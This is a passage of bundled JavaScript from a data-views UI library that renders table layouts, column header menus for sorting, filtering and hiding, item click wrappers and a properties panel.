25057 }, ref) {
25058 const visibleFieldIds = view.fields ?? [];
25059 const index = visibleFieldIds?.indexOf(fieldId);
25060 const isSorted = view.sort?.field === fieldId;
25061 let isHidable = false;
25062 let isSortable = false;
25063 let canAddFilter = false;
25064 let operators = [];
25065 const field = fields.find((f2) => f2.id === fieldId);
25066 const { setIsShowingFilter } = (0, import_element71.useContext)(dataviews_context_default);
25067 if (!field) {
25068 return null;
25069 }
25070 isHidable = field.enableHiding !== false;
25071 isSortable = field.enableSorting !== false;
25072 const header = field.header;
25073 operators = !!field.filterBy && field.filterBy?.operators || [];
25074 canAddFilter = !view.filters?.some((_filter) => fieldId === _filter.field) && !!(field.hasElements || field.Edit) && field.filterBy !== false && !field.filterBy?.isPrimary;
25075 if (!isSortable && !canMove && !isHidable && !canAddFilter) {
25076 return header;
25077 }
25078 const hiddenFields = getHideableFields(view, fields).filter(
25079 (f2) => !visibleFieldIds.includes(f2.id)
25080 );
25081 const canInsert = (canInsertLeft || canInsertRight) && !!hiddenFields.length;
25082 const isRtl = (0, import_i18n88.isRTL)();
25083 return /* @__PURE__ */ (0, import_jsx_runtime187.jsxs)(Menu6, { children: [
25084 /* @__PURE__ */ (0, import_jsx_runtime187.jsxs)(
25085 Menu6.TriggerButton,
25086 {
25087 render: /* @__PURE__ */ (0, import_jsx_runtime187.jsx)(
25088 import_components94.Button,
25089 {
25090 size: "compact",
25091 className: "dataviews-view-table-header-button",
25092 ref,
25093 variant: "tertiary"
25094 }
25095 ),
25096 children: [
25097 header,
25098 view.sort && isSorted && /* @__PURE__ */ (0, import_jsx_runtime187.jsx)("span", { "aria-hidden": "true", children: sortArrows[view.sort.direction] })
25099 ]
25100 }
25101 ),
25102 /* @__PURE__ */ (0, import_jsx_runtime187.jsx)(Menu6.Popover, { style: { minWidth: "240px" }, children: /* @__PURE__ */ (0, import_jsx_runtime187.jsxs)(WithMenuSeparators, { children: [
25103 isSortable && /* @__PURE__ */ (0, import_jsx_runtime187.jsx)(Menu6.Group, { children: SORTING_DIRECTIONS.map(
25104 (direction) => {
25105 const isChecked = view.sort && isSorted && view.sort.direction === direction;
25106 const value = `${fieldId}-${direction}`;
25107 return /* @__PURE__ */ (0, import_jsx_runtime187.jsx)(
25108 Menu6.RadioItem,
25109 {
25110 name: "view-table-sorting",
25111 value,
25112 checked: isChecked,
25113 onChange: () => {
25114 onChangeView({
25115 ...view,
25116 sort: {
25117 field: fieldId,
25118 direction
25119 },
25120 showLevels: false
25121 });
25122 },
25123 children: /* @__PURE__ */ (0, import_jsx_runtime187.jsx)(Menu6.ItemLabel, { children: sortLabels[direction] })
25124 },
25125 value
25126 );
25127 }
25128 ) }),
25129 canAddFilter && /* @__PURE__ */ (0, import_jsx_runtime187.jsx)(Menu6.Group, { children: /* @__PURE__ */ (0, import_jsx_runtime187.jsx)(
25130 Menu6.Item,
25131 {
25132 prefix: /* @__PURE__ */ (0, import_jsx_runtime187.jsx)(import_components94.Icon, { icon: funnel_default }),
25133 onClick: () => {
25134 setOpenedFilter(fieldId);
25135 setIsShowingFilter(true);
25136 onChangeView({
25137 ...view,
25138 page: 1,
25139 filters: [
25140 ...view.filters || [],
25141 {
25142 field: fieldId,
25143 value: void 0,
25144 operator: operators[0]
25145 }
25146 ]
25147 });
25148 },
25149 children: /* @__PURE__ */ (0, import_jsx_runtime187.jsx)(Menu6.ItemLabel, { children: (0, import_i18n88.__)("Add filter") })
25150 }
25151 ) }),
25152 (canMove || isHidable || canInsert) && field && /* @__PURE__ */ (0, import_jsx_runtime187.jsxs)(Menu6.Group, { children: [
25153 canMove && /* @__PURE__ */ (0, import_jsx_runtime187.jsx)(
25154 Menu6.Item,
25155 {
25156 prefix: /* @__PURE__ */ (0, import_jsx_runtime187.jsx)(import_components94.Icon, { icon: arrow_left_default }),
25157 disabled: isRtl ? index >= visibleFieldIds.length - 1 : index < 1,
25158 onClick: () => {
25159 const targetIndex = isRtl ? index + 1 : index - 1;
25160 const newFields = [
25161 ...visibleFieldIds
25162 ];
25163 newFields.splice(index, 1);
25164 newFields.splice(
25165 targetIndex,
25166 0,
25167 fieldId
25168 );
25169 onChangeView({
25170 ...view,
25171 fields: newFields
25172 });
25173 },
25174 children: /* @__PURE__ */ (0, import_jsx_runtime187.jsx)(Menu6.ItemLabel, { children: (0, import_i18n88.__)("Move left") })
25175 }
25176 ),
25177 canMove && /* @__PURE__ */ (0, import_jsx_runtime187.jsx)(
25178 Menu6.Item,
25179 {
25180 prefix: /* @__PURE__ */ (0, import_jsx_runtime187.jsx)(import_components94.Icon, { icon: arrow_right_default }),
25181 disabled: isRtl ? index < 1 : index >= visibleFieldIds.length - 1,
25182 onClick: () => {
25183 const targetIndex = isRtl ? index - 1 : index + 1;
25184 const newFields = [
25185 ...visibleFieldIds
25186 ];
25187 newFields.splice(index, 1);
25188 newFields.splice(
25189 targetIndex,
25190 0,
25191 fieldId
25192 );
25193 onChangeView({
25194 ...view,
25195 fields: newFields
25196 });
25197 },
25198 children: /* @__PURE__ */ (0, import_jsx_runtime187.jsx)(Menu6.ItemLabel, { children: (0, import_i18n88.__)("Move right") })
25199 }
25200 ),
25201 canInsertLeft && !!hiddenFields.length && /* @__PURE__ */ (0, import_jsx_runtime187.jsxs)(Menu6, { children: [
25202 /* @__PURE__ */ (0, import_jsx_runtime187.jsx)(Menu6.SubmenuTriggerItem, { children: /* @__PURE__ */ (0, import_jsx_runtime187.jsx)(Menu6.ItemLabel, { children: (0, import_i18n88.__)("Insert left") }) }),
25203 /* @__PURE__ */ (0, import_jsx_runtime187.jsx)(Menu6.Popover, { children: hiddenFields.map((hiddenField) => {
25204 const insertIndex = isRtl ? index + 1 : index;
25205 return /* @__PURE__ */ (0, import_jsx_runtime187.jsx)(
25206 Menu6.Item,
25207 {
25208 onClick: () => {
25209 onChangeView({
25210 ...view,
25211 fields: [
25212 ...visibleFieldIds.slice(
25213 0,
25214 insertIndex
25215 ),
25216 hiddenField.id,
25217 ...visibleFieldIds.slice(
25218 insertIndex
25219 )
25220 ]
25221 });
25222 },
25223 children: /* @__PURE__ */ (0, import_jsx_runtime187.jsx)(Menu6.ItemLabel, { children: hiddenField.label })
25224 },
25225 hiddenField.id
25226 );
25227 }) })
25228 ] }),
25229 canInsertRight && !!hiddenFields.length && /* @__PURE__ */ (0, import_jsx_runtime187.jsxs)(Menu6, { children: [
25230 /* @__PURE__ */ (0, import_jsx_runtime187.jsx)(Menu6.SubmenuTriggerItem, { children: /* @__PURE__ */ (0, import_jsx_runtime187.jsx)(Menu6.ItemLabel, { children: (0, import_i18n88.__)("Insert right") }) }),
25231 /* @__PURE__ */ (0, import_jsx_runtime187.jsx)(Menu6.Popover, { children: hiddenFields.map((hiddenField) => {
25232 const insertIndex = isRtl ? index : index + 1;
25233 return /* @__PURE__ */ (0, import_jsx_runtime187.jsx)(
25234 Menu6.Item,
25235 {
25236 onClick: () => {
25237 onChangeView({
25238 ...view,
25239 fields: [
25240 ...visibleFieldIds.slice(
25241 0,
25242 insertIndex
25243 ),
25244 hiddenField.id,
25245 ...visibleFieldIds.slice(
25246 insertIndex
25247 )
25248 ]
25249 });
25250 },
25251 children: /* @__PURE__ */ (0, import_jsx_runtime187.jsx)(Menu6.ItemLabel, { children: hiddenField.label })
25252 },
25253 hiddenField.id
25254 );
25255 }) })
25256 ] }),
25257 isHidable && field && /* @__PURE__ */ (0, import_jsx_runtime187.jsx)(
25258 Menu6.Item,
25259 {
25260 prefix: /* @__PURE__ */ (0, import_jsx_runtime187.jsx)(import_components94.Icon, { icon: unseen_default }),
25261 onClick: () => {
25262 onHide(field);
25263 onChangeView({
25264 ...view,
25265 fields: visibleFieldIds.filter(
25266 (id) => id !== fieldId
25267 )
25268 });
25269 },
25270 children: /* @__PURE__ */ (0, import_jsx_runtime187.jsx)(Menu6.ItemLabel, { children: (0, import_i18n88.__)("Hide column") })
25271 }
25272 )
25273 ] })
25274 ] }) })
25275 ] });
25276 });
25277 var ColumnHeaderMenu = _HeaderMenu;
25278 var column_header_menu_default = ColumnHeaderMenu;
25279
25280 // packages/dataviews/build-module/components/dataviews-layouts/utils/item-click-wrapper.mjs
25281 var import_element72 = __toESM(require_element(), 1);
25282 var import_jsx_runtime188 = __toESM(require_jsx_runtime(), 1);
25283 function getClickableItemProps({
25284 item,
25285 isItemClickable,
25286 onClickItem,
25287 className
25288 }) {
25289 if (!isItemClickable(item) || !onClickItem) {
25290 return { className };
25291 }
25292 return {
25293 className: className ? `${className} ${className}--clickable` : void 0,
25294 role: "button",
25295 tabIndex: 0,
25296 onClick: (event) => {
25297 event.stopPropagation();
25298 onClickItem(item);
25299 },
25300 onKeyDown: (event) => {
25301 if (event.key === "Enter" || event.key === "" || event.key === " ") {
25302 event.stopPropagation();
25303 onClickItem(item);
25304 }
25305 }
25306 };
25307 }
25308 function ItemClickWrapper({
25309 item,
25310 isItemClickable,
25311 onClickItem,
25312 renderItemLink,
25313 className,
25314 children,
25315 ...extraProps
25316 }) {
25317 if (!isItemClickable(item)) {
25318 return /* @__PURE__ */ (0, import_jsx_runtime188.jsx)("div", { className, ...extraProps, children });
25319 }
25320 if (renderItemLink) {
25321 const renderedElement = renderItemLink({
25322 item,
25323 className: `${className} ${className}--clickable`,
25324 ...extraProps,
25325 children
25326 });
25327 return (0, import_element72.cloneElement)(renderedElement, {
25328 onClick: (event) => {
25329 event.stopPropagation();
25330 if (renderedElement.props.onClick) {
25331 renderedElement.props.onClick(event);
25332 }
25333 },
25334 onKeyDown: (event) => {
25335 if (event.key === "Enter" || event.key === "" || event.key === " ") {
25336 event.stopPropagation();
25337 if (renderedElement.props.onKeyDown) {
25338 renderedElement.props.onKeyDown(event);
25339 }
25340 }
25341 }
25342 });
25343 }
25344 const clickProps = getClickableItemProps({
25345 item,
25346 isItemClickable,
25347 onClickItem,
25348 className
25349 });
25350 return /* @__PURE__ */ (0, import_jsx_runtime188.jsx)("div", { ...clickProps, ...extraProps, children });
25351 }
25352
25353 // packages/dataviews/build-module/components/dataviews-layouts/table/column-primary.mjs
25354 var import_jsx_runtime189 = __toESM(require_jsx_runtime(), 1);
25355 function ColumnPrimary({
25356 item,
25357 level,
25358 titleField,
25359 mediaField,
25360 descriptionField: descriptionField2,
25361 onClickItem,
25362 renderItemLink,
25363 isItemClickable
25364 }) {
25365 return /* @__PURE__ */ (0, import_jsx_runtime189.jsxs)(Stack, { direction: "row", gap: "md", align: "flex-start", justify: "flex-start", children: [
25366 mediaField && /* @__PURE__ */ (0, import_jsx_runtime189.jsx)(
25367 ItemClickWrapper,
25368 {
25369 item,
25370 isItemClickable,
25371 onClickItem,
25372 renderItemLink,
25373 className: "dataviews-view-table__cell-content-wrapper dataviews-column-primary__media",
25374 "aria-label": isItemClickable(item) && (!!onClickItem || !!renderItemLink) && !!titleField ? titleField.getValue?.({ item }) : void 0,
25375 children: /* @__PURE__ */ (0, import_jsx_runtime189.jsx)(
25376 mediaField.render,
25377 {
25378 item,
25379 field: mediaField,
25380 config: { sizes: "32px" }
25381 }
25382 )
25383 }
25384 ),
25385 /* @__PURE__ */ (0, import_jsx_runtime189.jsxs)(
25386 Stack,
25387 {
25388 direction: "column",
25389 align: "flex-start",
25390 className: "dataviews-view-table__primary-column-content",
25391 children: [
25392 titleField && /* @__PURE__ */ (0, import_jsx_runtime189.jsxs)(
25393 ItemClickWrapper,
25394 {
25395 item,
25396 isItemClickable,
25397 onClickItem,
25398 renderItemLink,
25399 className: "dataviews-view-table__cell-content-wrapper dataviews-title-field",
25400 children: [
25401 level !== void 0 && level > 0 && /* @__PURE__ */ (0, import_jsx_runtime189.jsxs)("span", { className: "dataviews-view-table__level", children: [
25402 Array(level).fill("\u2014").join(" "),
25403 "\xA0"
25404 ] }),
25405 /* @__PURE__ */ (0, import_jsx_runtime189.jsx)(titleField.render, { item, field: titleField })
25406 ]
25407 }
25408 ),
25409 descriptionField2 && /* @__PURE__ */ (0, import_jsx_runtime189.jsx)(
25410 descriptionField2.render,
25411 {
25412 item,
25413 field: descriptionField2
25414 }
25415 )
25416 ]
25417 }
25418 )
25419 ] });
25420 }
25421 var column_primary_default = ColumnPrimary;
25422
25423 // packages/dataviews/build-module/components/dataviews-layouts/table/use-is-horizontal-scroll-end.mjs
25424 var import_compose14 = __toESM(require_compose(), 1);
25425 var import_element73 = __toESM(require_element(), 1);
25426 var import_i18n89 = __toESM(require_i18n(), 1);
25427 var isScrolledToEnd = (element) => {
25428 if ((0, import_i18n89.isRTL)()) {
25429 const scrollLeft = Math.abs(element.scrollLeft);
25430 return scrollLeft <= 1;
25431 }
25432 return element.scrollLeft + element.clientWidth >= element.scrollWidth - 1;
25433 };
25434 function useIsHorizontalScrollEnd({
25435 scrollContainerRef,
25436 enabled = false
25437 }) {
25438 const [isHorizontalScrollEnd, setIsHorizontalScrollEnd] = (0, import_element73.useState)(false);
25439 const handleIsHorizontalScrollEnd = (0, import_compose14.useDebounce)(
25440 (0, import_element73.useCallback)(() => {
25441 const scrollContainer = scrollContainerRef.current;
25442 if (scrollContainer) {
25443 setIsHorizontalScrollEnd(isScrolledToEnd(scrollContainer));
25444 }
25445 }, [scrollContainerRef, setIsHorizontalScrollEnd]),
25446 200
25447 );
25448 (0, import_element73.useEffect)(() => {
25449 if (typeof window === "undefined" || !enabled || !scrollContainerRef.current) {
25450 return () => {
25451 };
25452 }
25453 handleIsHorizontalScrollEnd();
25454 scrollContainerRef.current.addEventListener(
25455 "scroll",
25456 handleIsHorizontalScrollEnd
25457 );
25458 window.addEventListener("resize", handleIsHorizontalScrollEnd);
25459 return () => {
25460 scrollContainerRef.current?.removeEventListener(
25461 "scroll",
25462 handleIsHorizontalScrollEnd
25463 );
25464 window.removeEventListener("resize", handleIsHorizontalScrollEnd);
25465 };
25466 }, [scrollContainerRef, enabled]);
25467 return isHorizontalScrollEnd;
25468 }
25469
25470 // packages/dataviews/build-module/components/dataviews-layouts/utils/get-data-by-group.mjs
25471 function getDataByGroup(data, groupByField) {
25472 return data.reduce((groups, item) => {
25473 const groupName = groupByField.getValue({ item });
25474 if (!groups.has(groupName)) {
25475 groups.set(groupName, []);
25476 }
25477 groups.get(groupName)?.push(item);
25478 return groups;
25479 }, /* @__PURE__ */ new Map());
25480 }
25481
25482 // packages/dataviews/build-module/components/dataviews-view-config/properties-section.mjs
25483 var import_components95 = __toESM(require_components(), 1);
25484 var import_i18n90 = __toESM(require_i18n(), 1);
25485 var import_element74 = __toESM(require_element(), 1);
25486 var import_jsx_runtime190 = __toESM(require_jsx_runtime(), 1);
25487 function FieldItem({
25488 field,
25489 isVisible: isVisible2,
25490 onToggleVisibility
25491 }) {
25492 return /* @__PURE__ */ (0, import_jsx_runtime190.jsx)(import_components95.__experimentalItem, { onClick: field.enableHiding ? onToggleVisibility : void 0, children: /* @__PURE__ */ (0, import_jsx_runtime190.jsxs)(Stack, { direction: "row", gap: "sm", justify: "flex-start", align: "center", children: [
25493 /* @__PURE__ */ (0, import_jsx_runtime190.jsx)("div", { style: { height: 24, width: 24 }, children: isVisible2 && /* @__PURE__ */ (0, import_jsx_runtime190.jsx)(import_components95.Icon, { icon: check_default }) }),
25494 /* @__PURE__ */ (0, import_jsx_runtime190.jsx)("span", { className: "dataviews-view-config__label", children: field.label })
25495 ] }) });
25496 }
25497 function isDefined(item) {
25498 return !!item;
25499 }
25500 function PropertiesSection({
25501 showLabel = true
25502 }) {
25503 const { view, fields, onChangeView } = (0, import_element74.useContext)(dataviews_context_default);
25504 const regularFields = getHideableFields(view, fields);
25505 if (!regularFields?.length) {
25506 return null;
25507 }
25508 const titleField = fields.find((f2) => f2.id === view.titleField);
25509 const previewField3 = fields.find((f2) => f2.id === view.mediaField);
25510 const descriptionField2 = fields.find(
25511 (f2) => f2.id === view.descriptionField
25512 );
25513 const lockedFields = [
25514 {
25515 field: titleField,
25516 isVisibleFlag: "showTitle"
25517 },
25518 {
25519 field: previewField3,
25520 isVisibleFlag: "showMedia"
25521 },
25522 {
25523 field: descriptionField2,
25524 isVisibleFlag: "showDescription"
25525 }
25526 ].filter(({ field }) => isDefined(field));
25527 const visibleFieldIds = view.fields ?? [];
25528 const visibleRegularFieldsCount = regularFields.filter(
25529 (f2) => visibleFieldIds.includes(f2.id)
25530 ).length;
25531 const visibleLockedFields = lockedFields.filter(
25532 ({ isVisibleFlag }) => (
25533 // @ts-expect-error
25534 view[isVisibleFlag] ?? true
25535 )
25536 );
25537 const totalVisibleFields = visibleLockedFields.length + visibleRegularFieldsCount;
25538 const isSingleVisibleLockedField = totalVisibleFields === 1 && visibleLockedFields.length === 1;
25539 return /* @__PURE__ */ (0, import_jsx_runtime190.jsxs)(Stack, { direction: "column", className: "dataviews-field-control", children: [
25540 showLabel && /* @__PURE__ */ (0, import_jsx_runtime190.jsx)(import_components95.BaseControl.VisualLabel, { children: (0, import_i18n90.__)("Properties") }),
25541 /* @__PURE__ */ (0, import_jsx_runtime190.jsx)(
25542 Stack,
25543 {
25544 direction: "column",
25545 className: "dataviews-view-config__properties",
25546 children: /* @__PURE__ */ (0, import_jsx_runtime190.jsxs)(import_components95.__experimentalItemGroup, { isBordered: true, isSeparated: true, size: "medium", children: [
25547 lockedFields.map(({ field, isVisibleFlag }) => {
25548 const isVisible2 = view[isVisibleFlag] ?? true;
25549 const fieldToRender = isSingleVisibleLockedField && isVisible2 ? { ...field, enableHiding: false } : field;
25550 return /* @__PURE__ */ (0, import_jsx_runtime190.jsx)(
25551 FieldItem,
25552 {
25553 field: fieldToRender,
25554 isVisible: isVisible2,
25555 onToggleVisibility: () => {
25556 onChangeView({
25557 ...view,
25558 [isVisibleFlag]: !isVisible2
25559 });
25560 }
25561 },
25562 field.id
25563 );
25564 }),
25565 regularFields.map((field) => {
25566 const isVisible2 = visibleFieldIds.includes(field.id);
25567 const fieldToRender = totalVisibleFields === 1 && isVisible2 ? { ...field, enableHiding: false } : field;
25568 return /* @__PURE__ */ (0, import_jsx_runtime190.jsx)(
25569 FieldItem,
25570 {
25571 field: fieldToRender,
25572 isVisible: isVisible2,
25573 onToggleVisibility: () => {
25574 onChangeView({
25575 ...view,
25576 fields: isVisible2 ? visibleFieldIds.filter(
25577 (fieldId) => fieldId !== field.id
25578 ) : [...visibleFieldIds, field.id]
25579 });
25580 }
25581 },
25582 field.id
25583 );
25584 })
25585 ] })
25586 }
25587 )
25588 ] });
25589 }
25590
25591 // packages/dataviews/build-module/hooks/use-delayed-loading.mjs
25592 var import_element75 = __toESM(require_element(), 1);
25593 function useDelayedLoading(isLoading, options = { delay: 400 }) {
25594 const [showLoader, setShowLoader] = (0, import_element75.useState)(false);
25595 (0, import_element75.useEffect)(() => {
25596 if (!isLoading) {
25597 return;
25598 }
25599 const timeout = setTimeout(() => {
25600 setShowLoader(true);
25601 }, options.delay);
25602 return () => {
25603 clearTimeout(timeout);
25604 setShowLoader(false);
25605 };
25606 }, [isLoading, options.delay]);
25607 return showLoader;
25608 }
25609
25610 // packages/dataviews/build-module/components/dataviews-layouts/table/index.mjs
25611 var import_jsx_runtime191 = __toESM(require_jsx_runtime(), 1);
25612 function getEffectiveAlign(explicitAlign, fieldType) {
25613 if (explicitAlign) {
25614 return explicitAlign;
25615 }
25616 if (fieldType === "integer" || fieldType === "number") {
25617 return "end";
25618 }
25619 return void 0;
25620 }
25621 function TableColumnField({
25622 item,
25623 fields,
25624 column,
25625 align
25626 }) {
25627 const field = fields.find((f2) => f2.id === column);
25628 if (!field) {
25629 return null;
25630 }
25631 const className = clsx_default("dataviews-view-table__cell-content-wrapper", {
25632 "dataviews-view-table__cell-align-end": align === "end",
25633 "dataviews-view-table__cell-align-center": align === "center"
25634 });
25635 return /* @__PURE__ */ (0, import_jsx_runtime191.jsx)("div", { className, children: /* @__PURE__ */ (0, import_jsx_runtime191.jsx)(field.render, { item, field }) });
25636 }
25637 function TableRow({
25638 hasBulkActions,
25639 item,
25640 level,
25641 actions,
25642 fields,
25643 id,
25644 view,
25645 titleField,
25646 mediaField,
25647 descriptionField: descriptionField2,
25648 selection,
25649 getItemId: getItemId2,
25650 isItemClickable,
25651 onClickItem,
25652 renderItemLink,
25653 onChangeSelection,
25654 isActionsColumnSticky,
25655 posinset
25656 }) {
25657 const { paginationInfo } = (0, import_element76.useContext)(dataviews_context_default);
25658 const hasPossibleBulkAction = useHasAPossibleBulkAction(actions, item);
25659 const isSelected2 = hasPossibleBulkAction && selection.includes(id);
25660 const {
25661 showTitle = true,
25662 showMedia = true,
25663 showDescription = true,
25664 infiniteScrollEnabled
25665 } = view;
25666 const isTouchDeviceRef = (0, import_element76.useRef)(false);
25667 const columns = view.fields ?? [];
25668 const hasPrimaryColumn = titleField && showTitle || mediaField && showMedia || descriptionField2 && showDescription;
25669 return /* @__PURE__ */ (0, import_jsx_runtime191.jsxs)(
25670 "tr",
25671 {
25672 className: clsx_default("dataviews-view-table__row", {
25673 "is-selected": hasPossibleBulkAction && isSelected2,
25674 "has-bulk-actions": hasPossibleBulkAction
25675 }),
25676 onTouchStart: () => {
25677 isTouchDeviceRef.current = true;
25678 },
25679 "aria-setsize": infiniteScrollEnabled ? paginationInfo.totalItems : void 0,
25680 "aria-posinset": posinset,
25681 role: infiniteScrollEnabled ? "article" : void 0,
25682 onMouseDown: (event) => {
25683 const isMetaClick = (0, import_keycodes6.isAppleOS)() ? event.metaKey : event.ctrlKey;
25684 if (event.button === 0 && isMetaClick && window.navigator.userAgent.toLowerCase().includes("firefox")) {
25685 event?.preventDefault();
25686 }
25687 },
25688 onClick: (event) => {
25689 if (!hasPossibleBulkAction) {
25690 return;
25691 }
25692 const isModifierKeyPressed = (0, import_keycodes6.isAppleOS)() ? event.metaKey : event.ctrlKey;
25693 if (isModifierKeyPressed && !isTouchDeviceRef.current && document.getSelection()?.type !== "Range") {
25694 onChangeSelection(
25695 selection.includes(id) ? selection.filter((itemId) => id !== itemId) : [...selection, id]
25696 );
25697 }
25698 },
25699 children: [
25700 hasBulkActions && /* @__PURE__ */ (0, import_jsx_runtime191.jsx)("td", { className: "dataviews-view-table__checkbox-column", children: /* @__PURE__ */ (0, import_jsx_runtime191.jsx)("div", { className: "dataviews-view-table__cell-content-wrapper", children: /* @__PURE__ */ (0, import_jsx_runtime191.jsx)(
25701 DataViewsSelectionCheckbox,
25702 {
25703 item,
25704 selection,
25705 onChangeSelection,
25706 getItemId: getItemId2,
25707 titleField,
25708 disabled: !hasPossibleBulkAction
25709 }
25710 ) }) }),
25711 hasPrimaryColumn && /* @__PURE__ */ (0, import_jsx_runtime191.jsx)("td", { children: /* @__PURE__ */ (0, import_jsx_runtime191.jsx)(
25712 column_primary_default,
25713 {
25714 item,
25715 level,
25716 titleField: showTitle ? titleField : void 0,
25717 mediaField: showMedia ? mediaField : void 0,
25718 descriptionField: showDescription ? descriptionField2 : void 0,
25719 isItemClickable,
25720 onClickItem,
25721 renderItemLink
25722 }
25723 ) }),
25724 columns.map((column) => {
25725 const { width, maxWidth, minWidth, align } = view.layout?.styles?.[column] ?? {};
25726 const field = fields.find((f2) => f2.id === column);
25727 const effectiveAlign = getEffectiveAlign(align, field?.type);
25728 return /* @__PURE__ */ (0, import_jsx_runtime191.jsx)(
25729 "td",
25730 {
25731 style: {
25732 width,
25733 maxWidth,
25734 minWidth
25735 },
25736 children: /* @__PURE__ */ (0, import_jsx_runtime191.jsx)(
25737 TableColumnField,
25738 {
25739 fields,
25740 item,
25741 column,
25742 align: effectiveAlign
25743 }
25744 )
25745 },
25746 column
25747 );
25748 }),
25749 !!actions?.length && // Disable reason: we are not making the element interactive,
25750 // but preventing any click events from bubbling up to the
25751 // table row. This allows us to add a click handler to the row
25752 // itself (to toggle row selection) without erroneously
25753 // intercepting click events from ItemActions.
25754 /* eslint-disable jsx-a11y/no-noninteractive-element-interactions, jsx-a11y/click-events-have-key-events */
25755 /* @__PURE__ */ (0, import_jsx_runtime191.jsx)(
25756 "td",
25757 {
25758 className: clsx_default("dataviews-view-table__actions-column", {
25759 "dataviews-view-table__actions-column--sticky": true,
25760 "dataviews-view-table__actions-column--stuck": isActionsColumnSticky
25761 }),
25762 onClick: (e2) => e2.stopPropagation(),
25763 children: /* @__PURE__ */ (0, import_jsx_runtime191.jsx)(ItemActions, { item, actions })
25764 }
25765 )
25766 ]
25767 }
25768 );
25769 }
25770 function ViewTable({
25771 actions,
25772 data,
25773 fields,
25774 getItemId: getItemId2,
25775 getItemLevel: getItemLevel2,
25776 isLoading = false,
25777 onChangeView,
25778 onChangeSelection,
25779 selection,
25780 setOpenedFilter,
25781 onClickItem,
25782 isItemClickable,
25783 renderItemLink,
25784 view,
25785 className,
25786 empty
25787 }) {
25788 const { containerRef } = (0, import_element76.useContext)(dataviews_context_default);
25789 const isDelayedLoading = useDelayedLoading(isLoading);
25790 const headerMenuRefs = (0, import_element76.useRef)(/* @__PURE__ */ new Map());
25791 const headerMenuToFocusRef = (0, import_element76.useRef)(void 0);
25792 const [nextHeaderMenuToFocus, setNextHeaderMenuToFocus] = (0, import_element76.useState)();
25793 const [contextMenuAnchor, setContextMenuAnchor] = (0, import_element76.useState)(null);
25794 (0, import_element76.useEffect)(() => {
25795 if (headerMenuToFocusRef.current) {
25796 headerMenuToFocusRef.current.focus();
25797 headerMenuToFocusRef.current = void 0;
25798 }
25799 });
25800 const tableNoticeId = (0, import_element76.useId)();
25801 const isHorizontalScrollEnd = useIsHorizontalScrollEnd({
25802 scrollContainerRef: containerRef,
25803 enabled: !!actions?.length
25804 });
25805 const hasBulkActions = useSomeItemHasAPossibleBulkAction(actions, data);
25806 if (nextHeaderMenuToFocus) {
25807 headerMenuToFocusRef.current = nextHeaderMenuToFocus;
25808 setNextHeaderMenuToFocus(void 0);
25809 return;
25810 }
25811 const onHide = (field) => {
25812 const hidden = headerMenuRefs.current.get(field.id);
25813 const fallback = hidden ? headerMenuRefs.current.get(hidden.fallback) : void 0;
25814 setNextHeaderMenuToFocus(fallback?.node);
25815 };
25816 const handleHeaderContextMenu = (event) => {
25817 event.preventDefault();
25818 event.stopPropagation();
25819 const virtualAnchor = {
25820 getBoundingClientRect: () => ({
25821 x: event.clientX,
25822 y: event.clientY,
25823 top: event.clientY,
25824 left: event.clientX,
25825 right: event.clientX,
25826 bottom: event.clientY,
25827 width: 0,
25828 height: 0,
25829 toJSON: () => ({})
25830 })
25831 };
25832 window.requestAnimationFrame(() => {
25833 setContextMenuAnchor(virtualAnchor);
25834 });
25835 };
25836 const hasData = !!data?.length;
25837 const titleField = fields.find((field) => field.id === view.titleField);
25838 const mediaField = fields.find((field) => field.id === view.mediaField);
25839 const descriptionField2 = fields.find(
25840 (field) => field.id === view.descriptionField
25841 );
25842 const groupField = view.groupBy?.field ? fields.find((f2) => f2.id === view.groupBy?.field) : null;
25843 const dataByGroup = groupField ? getDataByGroup(data, groupField) : null;
25844 const { showTitle = true, showMedia = true, showDescription = true } = view;
25845 const hasPrimaryColumn = titleField && showTitle || mediaField && showMedia || descriptionField2 && showDescription;
25846 const columns = view.fields ?? [];
25847 const headerMenuRef = (column, index) => (node) => {
25848 if (node) {
25849 headerMenuRefs.current.set(column, {
25850 node,
25851 fallback: columns[index > 0 ? index - 1 : 1]
25852 });
25853 } else {
25854 headerMenuRefs.current.delete(column);
25855 }
25856 };
25857 const isInfiniteScroll = view.infiniteScrollEnabled && !dataByGroup;
25858 const isRtl = (0, import_i18n91.isRTL)();
25859 if (!hasData) {
25860 return /* @__PURE__ */ (0, import_jsx_runtime191.jsx)(
25861 "div",
25862 {
25863 className: clsx_default("dataviews-no-results", {
25864 "is-refreshing": isDelayedLoading
25865 }),
25866 id: tableNoticeId,
25867 children: empty
25868 }
25869 );
25870 }
25871 return /* @__PURE__ */ (0, import_jsx_runtime191.jsxs)(import_jsx_runtime191.Fragment, { children: [
25872 /* @__PURE__ */ (0, import_jsx_runtime191.jsxs)(
25873 "table",
25874 {
25875 className: clsx_default("dataviews-view-table", className, {
25876 [`has-${view.layout?.density}-density`]: view.layout?.density && ["compact", "comfortable"].includes(
25877 view.layout.density
25878 ),
25879 "has-bulk-actions": hasBulkActions,
25880 "is-refreshing": !isInfiniteScroll && isDelayedLoading
25881 }),
25882 "aria-busy": isLoading,
25883 "aria-describedby": tableNoticeId,
25884 role: isInfiniteScroll ? "feed" : void 0,
25885 inert: !isInfiniteScroll && isLoading ? "true" : void 0,
25886 children: [
25887 /* @__PURE__ */ (0, import_jsx_runtime191.jsxs)("colgroup", { children: [
25888 hasBulkActions && /* @__PURE__ */ (0, import_jsx_runtime191.jsx)("col", { className: "dataviews-view-table__col-checkbox" }),
25889 hasPrimaryColumn && /* @__PURE__ */ (0, import_jsx_runtime191.jsx)("col", { className: "dataviews-view-table__col-first-data" }),
25890 columns.map((column, index) => /* @__PURE__ */ (0, import_jsx_runtime191.jsx)(
25891 "col",
25892 {
25893 className: clsx_default(
25894 `dataviews-view-table__col-${column}`,
25895 {
25896 "dataviews-view-table__col-first-data": !hasPrimaryColumn && index === 0
25897 }
25898 )
25899 },
25900 `col-${column}`
25901 )),
25902 !!actions?.length && /* @__PURE__ */ (0, import_jsx_runtime191.jsx)("col", { className: "dataviews-view-table__col-actions" })
25903 ] }),
25904 contextMenuAnchor && /* @__PURE__ */ (0, import_jsx_runtime191.jsx)(
25905 import_components96.Popover,
25906 {
25907 anchor: contextMenuAnchor,
25908 onClose: () => setContextMenuAnchor(null),
25909 placement: "bottom-start",
25910 children: /* @__PURE__ */ (0, import_jsx_runtime191.jsx)(PropertiesSection, { showLabel: false })
25911 }
25912 ),
